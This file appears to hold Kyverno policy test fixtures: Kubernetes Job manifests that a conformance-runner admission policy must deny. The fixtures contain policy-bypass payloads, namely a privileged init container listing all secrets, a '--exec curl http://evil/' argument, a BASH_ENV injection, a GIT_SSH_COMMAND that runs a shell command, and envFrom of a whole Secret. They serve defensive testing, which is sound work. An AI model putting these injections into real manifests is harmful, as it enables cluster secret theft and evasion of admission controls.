# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: sneak
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
privileged: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
name: initcontainer-with-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
args: ["--exec", "curl http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: second-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
- name: also-me
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: BASH_ENV
value: /workspace/src/conformance/_pwned
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
envFrom:
- secretRef:
name: anything-in-this-namespace
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-initcontainer-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
- name: GIT_SSH_COMMAND
value: "sh -c 'kubectl get secrets -A'"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
ephemeralContainers:
- name: debugger
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
@@ -0,0 +1,12 @@
# The requesting identity the policy keys on. Without this the `subjects` match never fires and
# every case below would trivially "pass" — proving nothing.
apiVersion: cli.kyverno.io/v1alpha1
kind: UserInfo
metadata:
name: conformance-trigger
userInfo:
username: system:serviceaccount:conformance:conformance-trigger
groups:
- system:serviceaccounts
- system:serviceaccounts:conformance
- system:authenticated